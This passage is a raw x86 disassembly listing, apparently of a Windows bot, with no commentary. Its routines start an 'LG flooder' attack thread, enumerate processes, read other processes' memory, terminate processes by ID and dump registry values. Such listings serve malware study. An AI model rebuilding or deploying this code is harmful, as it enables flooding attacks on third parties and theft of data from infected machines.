0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: sub_4167F1+D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E2B0 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2AC, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A0, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A4, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E2A8, eax cmp dword_41E2AC, 0 jz short locret_40603F cmp dword_41E2A0, 0 jz short locret_40603F cmp dword_41E2A4, 0 jz short locret_40603F cmp dword_41E2A8, 0 jz short locret_40603F mov byte_41E2CC, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E2B0 call sub_409C6C pop ecx movzx eax, byte_41E2CC test eax, eax jnz short loc_406074 push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E2AC test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E2A0 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E2A8 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE30 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E2A4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E2B0 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset dword_418B5C push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset dword_418B54 lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset dword_418B64 push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte 